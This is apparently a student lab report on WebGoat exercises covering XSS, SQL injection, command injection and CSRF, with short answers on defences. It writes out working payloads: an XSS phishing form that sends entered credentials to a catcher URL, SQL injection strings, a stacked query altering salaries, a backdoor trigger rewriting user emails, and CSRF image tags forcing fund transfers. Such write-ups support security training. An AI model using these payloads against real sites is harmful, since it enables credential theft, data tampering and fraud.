20155207 《网络对抗》 Exp9 Web安全基础
20155207 《网络对抗》 Exp9 Web安全基础
实验内容
- 关于WebGoat
- Cross-Site Scripting(XSS)练习
- Injection Flaws练习
- CSRF攻击
实验总结与体会
这次实验在WebGoat里做了SQL注入的10个相关实践,从上周学习的简单通过文本框中输入字符串构造SQL语句进行SQL注入到在文本框中提交文本或者发送邮件做XSS攻击,还有利用;邮件发送含有恶意URL请求的HTML对象来利用用户的COOKIE做非法操作
基础问题回答
- (1)SQL注入攻击原理,如何防御?
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
- XSS攻击的原理,如何防御?
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
- 防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
- (3)WebServer支持哪些动态语言
- ASP、PHP、JSP、Python
实验过程记录
webgoat
- 开启webgoat:
java -jar webgoat-container-7.0.1-war-exec.jar
- 在浏览器上访问
localhost:8080/WebGoat
,登录
XSS攻击
Phishing with XSS
- 这个题目我们要在搜索框中输入XSS攻击代码:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,然后输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
Reflected XSS 反射型XSS攻击
- 在
code
框中输入```alert("I am 20155207")题目要求:要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
Stored XSS Attacks
- 直接在
title
里随便输入,然后在message
中输入一串代码,比如:<script>alert("5207!");</script>
提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功
Injection Flaws
Command Injection
- 通过火狐浏览器下的一个扩展Firebug对源代码进行修改
- 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况
Numeric SQL Injection
- 进行SQL注入在
station
字段注入特征字符,以组合成新的SQL语句,SELECT * FROM weather_data WHERE station = [station]
,要获得所有的天气数据,就在station
中的任意一个值后面加入一个1=1
,由于1=1
为永真式,选择所修改的value
所指向的城市,就可以得到所有的天气。
LAB:SQL Injection
String SQL Injection
题目要求:使用字符串SQL注入在没有正确密码的情况下登录账号boss。
在密码栏中输入
' or 1=1
--进行SQL注入
,但是登录失败。查看源代码,去掉对输入长度的限制,登录成功。
Numeric SQL Injection
- 通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户
larry
,浏览其BOSS
的账户信息。首先我们用上一题的办法登录Larry
的账号!在密码框里输入' or 1=1 --
,登录后发现我们只能看见Larry
一个人的工资信息。
- 浏览员工信息的按钮是
ViewProfile.
在网页代码中分析一下这个按钮,发现这个地方是以员工ID
作为索引传递参数的,我们要达到通过Larry
来浏览老板账户信息的目的,把其中的value
值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:
String SQL Injection
这个表单允许使用者查询他们的信用卡号,使用
SQL注入
让所有的信用卡号都看得见。我们构造一个永真式“1”,那么不管前面的
WHERE
是否成立都能执行,所以构造语句'or 1='1
,成功得到了全部的信用卡号。
Blind Numeric SQL Injection
- 题目要求是得到一个存放在
pins
表中值pin
的内容,行号cc_number=1111222233334444
,是一个int型
的数据。
然后使用BurpSuite
进行拦截,拦截后action--send to intruder
进行暴力破解,使用sniper模式
,选择10000
进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1。可以发现2364
的报文长度明显和其他不一样,那这个值就应该就是2364:
Database Backdoors
- 先输入示例101进行尝试,得到了该用户的信息。
- 观察发现输入的语句不进行验证,于是我们输入语句:
101; update employee set salary=10000
成功将该用户的工资变成10000
,攻击成功: - 输入语句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155207@hackme.com' WHERE userid = NEW.userid
- 表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱
4.CSRF攻击
Cross Site Request Forgery
- 在文本框中提交一个有URL恶意请求的代码,
<img src='attack?Screen=278&menu=900&transFunds=100000' width='1', height='1'>
,其中scr=278,menu=900
,点击就会执行
CSRF Prompt By-Pass
- 与上个实验类似,除了转账金额还增加了确认转账,同样构造两个包含恶意URL的图片,此次scr=268,增加
<img src='attack?Screen=268&menu=900&transFunds=CONFIRM' width='1', height='1'>
成功列表
20155207 《网络对抗》 Exp9 Web安全基础的更多相关文章
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
- 20145315何佳蕾《网络对抗》Web安全基础
20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155206《网络对抗》Web安全基础实践
20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20155305《网络对抗》Web安全基础实践
20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155307《网络对抗》Web安全基础实践
20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155311《网络对抗》Web安全基础实践
20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155338《网络对抗》Web安全基础实践
20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...
随机推荐
- vue-cil 中的配置分析
自己写过配置分析,但是看了这位同学的文章之后发现写的比我全和细,索性直接转载过来了. 转自http://www.cnblogs.com/libin-1/p/6596810.html
- RecyclerView--添加头部和底部
1.先构建WrapRecyclerAdapter /** * Description: 可以添加头部和底部的Adapter */ public class WrapRecyclerAdapter ex ...
- Python之密度聚类
# -*- coding: utf-8 -*- """ Created on Tue Sep 25 10:48:34 2018 @author: zhen "& ...
- Oracle EBS 自治事务
自治事务程序主要是自主性,那就是,独立于主要的事务.之所以独立,或者提交之后会影响其他事务处理,本质在于它本身符合编译指令的规则,也就是说它属于在编译阶段就执行的指令,而不是在运行阶段执行的. 当自治 ...
- SQL Server中ORDER BY后面可以是表达式和子查询
假如SQL Server数据库中现在有Book表如下 CREATE TABLE [dbo].[Book]( ,) NOT NULL, ) NULL, ) NULL, ) NULL, [CreateTi ...
- 基元用户模式构造--互锁构造 Interlocked 实现的异步web请求实例
using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using Syst ...
- EntityFramework Code-First 简易教程(二)-------Code First约定
Code First 约定 在前一篇中,我们已经知道了EF Code-First怎样从模型类(domain classes)中创建数据库表,下面,我们开始学习默认的Code-First约定. 什么是约 ...
- 从PFX文件中获取私钥、公钥证书、公钥
https://blog.csdn.net/ZuoYanYouYan/article/details/77868584 该类具体功能:根据pfx证书得到私钥.根据私钥字节数组获取私钥对象.根据公钥字节 ...
- Shell 脚本合集
0. 说明 Shell 脚本合集 1. xcall.sh xcall.sh 编写为了为了同时对多台服务器进行操作,编写完成之后,将其发送到 /usr/local/bin 下 #!/bin/bash ...
- 【Linq】常用语法汇总
语言继承查询(Language Integrated Query, LINQ),在C#编程语言中集成了查询语法,可以用相同的语法访问不同的数据源,LINQ提供了不同数据源的抽象层,所以可以使用相同语法 ...